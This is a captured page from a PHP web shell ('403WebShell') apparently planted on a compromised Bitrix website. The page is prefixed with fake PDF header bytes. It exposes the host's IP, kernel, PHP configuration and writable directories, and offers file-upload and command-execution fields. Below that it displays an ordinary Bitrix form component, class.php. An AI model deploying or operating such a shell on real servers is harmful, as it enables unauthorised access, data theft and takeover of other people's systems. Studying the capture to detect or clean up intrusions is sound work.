%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.119.121.88
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/landing.base.form/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/landing.base.form/class.php
<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

\CBitrixComponent::includeComponentClass('bitrix:landing.base');

class LandingBaseFormComponent extends LandingBaseComponent
{
	/**
	 * Current element id.
	 * @var int
	 */
	protected $id = 0;

	/**
	 * Class of current element.
	 * @var string
	 */
	protected $class = null;

	/**
	 * Page after success save.
	 * @var string
	 */
	protected $successSavePage = '';

	/**
	 * Redirect on $successSavePage after save.
	 * @var bool
	 */
	protected $redirectAfterSave = false;

	/**
	 * POST key.
	 * @var string
	 */
	protected $postCode = 'fields';

	/**
	 * POST fields.
	 * @var null
	 */
	protected $postFields = null;

	/**
	 * Local version of table map with available fields for change.
	 * @return array
	 */
	protected function getMap()
	{
		return array();
	}

	/**
	 * Get some var from request.
	 * @param string $var Code of var.
	 * @param bool $strict Strict check of var.
	 * @return mixed
	 */
	public function request($var, $strict = false)
	{
		if ($this->postFields === null)
		{
			$this->postFields = parent::request($this->postCode);
			if ($this->postFields === '')
			{
				$this->postFields = null;
			}
		}

		if (is_array($this->postFields))
		{
			if ($strict)
			{
				if (array_key_exists($var, $this->postFields))
				{
					return $this->postFields[$var];
				}
				return false;
			}
			return (isset($this->postFields[$var]) ? $this->postFields[$var] : '');
		}
		else
		{
			return parent::request($var);
		}
	}

	/**
	 * Current form is saving now.
	 * @return boolean
	 */
	protected function isSaving()
	{
		static $result = null;

		if ($result === null)
		{
			$result = false;
			$context = \Bitrix\Main\Application::getInstance()->getContext();
			$server = $context->getServer();
			if (
				$server->getRequestMethod() == 'POST' &&
				$this->request('SAVE_FORM') == 'Y'
			)
			{
				$result = true;
			}
		}

		return $result;
	}

	/**
	 * Fill or not row data from Request.
	 * @return boolean
	 */
	protected function fillFromRequest()
	{
		return $this->isSaving();
	}

	/**
	 * Allowed or not additional fields for this form.
	 * @return boolean
	 */
	protected function additionalFieldsAllowed()
	{
		return false;
	}

	/**
	 * Get additional fields, which must be un-wafed.
	 * @return array
	 */
	protected function getAdditionalFieldsRaw()
	{
		return [
			'HEADBLOCK_CODE', 'HEADBLOCK_CSS_CODE',
			'METAGOOGLEVERIFICATION_META',
			'METAYANDEXVERIFICATION_META'
		];
	}

	/**
	 * Get additional fields values.
	 * @return array
	 */
	protected function getAdditionalFieldsValue()
	{
		$additionalFieldsParent = $this->request('ADDITIONAL_FIELDS_PARENT');
		$additionalFields = $this->request('ADDITIONAL_FIELDS');

		// bugfix for security waf
		if (is_array($additionalFields))
		{
			$context = \Bitrix\Main\Application::getInstance()->getContext();
			$request = $context->getRequest();
			$postList = $request->getPostList()->getRaw($this->postCode);
			if (isset($postList['ADDITIONAL_FIELDS']))
			{
				$postList = $postList['ADDITIONAL_FIELDS'];
				foreach ($this->getAdditionalFieldsRaw() as $code)
				{
					if (isset($postList[$code]))
					{
						$additionalFields[$code] = $postList[$code];
					}
				}
			}
		}

		// detect groups wich different
		$diffGroups = array();
		if (is_array($additionalFields))
		{
			foreach ($additionalFields as $key => $value)
			{
				$group = mb_substr($key, 0, mb_strpos($key, '_'));
				if (
					!in_array($group, $diffGroups) &&
					isset($additionalFieldsParent[$key]) &&
					trim($additionalFieldsParent[$key]) != trim($value)
				)
				{
					$diffGroups[] = $group;
				}
			}
		}

		// delete from child form duplicate values
		if (is_array($additionalFieldsParent))
		{
			foreach ($additionalFieldsParent as $key => $value)
			{
				$group = mb_substr($key, 0, mb_strpos($key, '_'));
				if (
					!in_array($group, $diffGroups) &&
					isset($additionalFields[$key]) &&
					trim($additionalFields[$key]) == trim($value)
				)
				{
					$additionalFields[$key] = '';
				}
			}
		}

		return $additionalFields;
	}

	/**
	 * Gets rights value for saving.
	 * @param bool $integer Return task id in integer vals.
	 * @return array
	 */
	protected function getRightsValue($integer = false)
	{
		$return = [];
		$rights = $this->request('RIGHTS');

		if (
			isset($rights['ACCESS_CODE']) && is_array($rights['ACCESS_CODE']) &&
			isset($rights['TASK_ID']) && is_array($rights['TASK_ID'])
		)
		{
			$tasks = $this->getAccessTasks();
			foreach ($rights['TASK_ID'] as $k => $taskIds)
			{
				foreach ((array) $taskIds as $taskId)
				{
					if (
						isset($tasks[$taskId]) &&
						isset($rights['ACCESS_CODE'][$k])
					)
					{
						if (!isset($return[$rights['ACCESS_CODE'][$k]]))
						{
							$return[$rights['ACCESS_CODE'][$k]] = [];
						}

						$return[$rights['ACCESS_CODE'][$k]][] = $integer
							? $tasks[$taskId]['ID']
							: $tasks[$taskId]['NAME'];
					}
				}
			}
		}

		return $return;
	}

	/**
	 * Fill default fields from exist another row.
	 * @return int
	 */
	protected function getCopyId()
	{
		return (int)$this->request('copy');
	}

	/**
	 * Get hooks for current entity.
	 * @param string|bool $class Get hooks from this class.
	 * @param int|bool $id Get hooks from this entity id.
	 * @return array
	 */
	protected function getHooks($class = false, $id = false)
	{
		$hooks = array();

		if ($id === false)
		{
			$id = $this->id;
		}
		if ($class === false)
		{
			$class = $this->class;
		}
		$classFull = $this->getValidClass($class);

		if (
			$classFull &&
			method_exists($classFull, 'getHooks')
		)
		{
			\Bitrix\Landing\Hook::setEditMode();
			$hooks = $classFull::getHooks($id);
			$requestAdditional = $this->getAdditionalFieldsValue();
			foreach ($hooks as $hook)
			{
				foreach ($hook->getPageFields() as $field)
				{
					if (isset($requestAdditional[$field->getCode()]))
					{
						$field->setValue(
							$requestAdditional[$field->getCode()]
						);
					}
				}
			}
		}

		return $hooks;
	}

	/**
	 * Get current item from table (or request) with map description.
	 * @return array
	 */
	protected function getRow()
	{
		$item = array();
		$classFull = $this->getValidClass($this->class);

		if ($classFull)
		{
			if ($this->id > 0 || $this->getCopyId())
			{
				$row = $this->getItems($this->class, array(
					'filter' => array(
						'ID' => $this->id > 0
								? $this->id
								: $this->getCopyId()
						)
					)
				);
				if ($row)
				{
					$row = array_shift($row);
				}
			}

			// get map of class
			$localMap = $this->getMap();
			$fillFromRequest = $this->fillFromRequest();
			foreach ($classFull::getMap() as $code => $field)
			{
				$defaultValue = method_exists($field, 'getDefaultValue')
								? $field->getDefaultValue()
								: '';
				$item[$code] = array(
					'TITLE' => $field->getTitle(),
					'READONLY' => !in_array($code, $localMap),
					'STORED' => $row[$code] ?? $defaultValue,
					'~CURRENT' => $fillFromRequest
								? ($code == 'ID') ? $this->id : $this->request($code)
								: (isset($row[$code]) ? $row[$code] : $defaultValue)
				);
				if (is_array($item[$code]['~CURRENT']))
				{
					$item[$code]['CURRENT'] = $item[$code]['~CURRENT'];
				}
				else
				{
					$item[$code]['CURRENT'] = \htmlspecialcharsbx($item[$code]['~CURRENT']);
				}
			}
		}

		return $item;
	}

	/**
	 * Save current item.
	 * @return boolean
	 */
	protected function updateRow()
	{
		$fields = array();
		$classFull = $this->getValidClass($this->class);
		// check common errors
		if (!$classFull)
		{
			return false;
		}
		if (!check_bitrix_sessid())
		{
			$this->addError('LANDING_ERROR_SESS_EXPIRED');
			return false;
		}
		// collect fields
		foreach ($this->getRow() as $code => $field)
		{
			if (!$field['READONLY'])
			{
				$fields[$code] = $field['~CURRENT'];
			}
		}
		// add/update
		if (!empty($fields))
		{
			if ($this->additionalFieldsAllowed())
			{
				$fields['ADDITIONAL_FIELDS'] = $this->getAdditionalFieldsValue();
			}
			if ($this->id > 0)
			{
				$res = $classFull::update($this->id, $fields);
			}
			else
			{
				$res = $classFull::add($fields);
			}
			if ($res->isSuccess())
			{
				$this->id = $res->getId();
				return true;
			}
			else
			{
				$this->addErrorFromResult($res);
			}
		}
		return false;
	}

	/**
	 * Delete current item.
	 * @return boolean
	 */
	protected function deleteRow()
	{
		$classFull = $this->getValidClass($this->class);
		// check common errors
		if (!$classFull)
		{
			return false;
		}
		if (!check_bitrix_sessid())
		{
			$this->addError('LANDING_ERROR_SESS_EXPIRED');
			return false;
		}
		// delete
		$res = $classFull::delete($this->id);
		if ($res->isSuccess())
		{
			return true;
		}
		else
		{
			$this->addErrorFromResult($res);
			return false;
		}
	}

	/**
	 * Base executable method.
	 * @return void
	 */
	public function executeComponent()
	{
		if (
			$this->init() &&
			!$this->arResult['FATAL']
		)
		{
			$this->arParams['SUCCESS_SAVE'] = false;
			// add / update
			if (
				$this->isSaving() &&
				$this->updateRow()
			)
			{
				$this->arParams['SUCCESS_SAVE'] = true;
				if (
					$this->redirectAfterSave &&
					$this->successSavePage
				)
				{
					\localRedirect($this->successSavePage);
				}
			}
		}

		parent::executeComponent();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit